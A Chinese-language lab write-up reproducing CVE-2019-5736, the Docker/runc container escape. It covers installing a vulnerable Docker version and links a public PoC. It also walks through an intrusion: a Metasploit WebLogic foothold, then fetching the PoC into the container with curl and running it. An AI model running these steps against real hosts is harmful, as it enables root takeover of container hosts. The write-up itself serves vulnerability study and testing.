cve-2019-5736复现(docker runc逃逸任意代码执行)【通过】

cve漏洞影响版本(利用条件):

平台或产品 受影响版本 不受影响版本
Docker Version < 18.09.2 Version >= 18.09.2
runC Version <= 1.0-rc6

漏洞分析::

    runc是一个底层服务工具,它负责大量生成Linux容器,然后docker部分版本服务运行时底层其实在运行着runc服务,本次漏洞就是为你在docker内获取root权限通过 利用runc中的错误来获取运行容器的主机的root权限。

漏洞复现:

版本安装:

第一步、卸载已经在Ubuntu系统中安装的docker

$ sudo apt-get remove docker docker-engine docker-ce docker.io

如果你原先并没有在Ubuntu 18.04系统中安装过docker,只是需要指定的版本,则这步省去。

第二步、安装前准备

1、更新索引包

$ sudo apt-get update

2、安装以下包,以使apt可以通过https来使用repository

$ sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common

3、添加Docker官方的GPG密钥并更新索引包

$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

$ sudo apt-get update

第三步、安装指定的docker版本,本文以18.06为例

1、列出可用版本

apt-cache madison docker-ce

sudo apt-get install docker-ce=<VERSION>

查看一下 ok

image

二。复现(以一次入侵为例):

攻击机:kali

运行机器:ububtu

poc:https://github.com/Frichetten/CVE-2019-5736-PoC

修改命令的地方

我首先在ubuntu上开了一个weblogic的docker环境,然后使用msf里面自带的cve-2018-2628获取权限然后进去docker环境运行poc,为了体现漏洞,测试了更高的权限(前提是目标管理docker的用户可以调用此权限)。

image

kali:

本地编译

go build main.go         编译exp

在docker中执行(docker root权限下):

apt-get update -y && \

apt-get install libseccomp-dev -y && \

image

apt-get install curl -y && \

curl POC -o ./poc && \

chmod u+x ./poc && \

执行poc

$ ./poc

(等待目标进入docker执行exec)

ubuntu:

宿主机而言,docker exec时会报错,但是不影响命令的执行。这里出现seccomp_version的原因是安装的seccomp-dev版本过低。如果版本没问题,会报错No help topic for /bin/sh

验证成果:

  • 通过
  • 未通过

0 投票者

你知道这个洞的魅力在哪吗?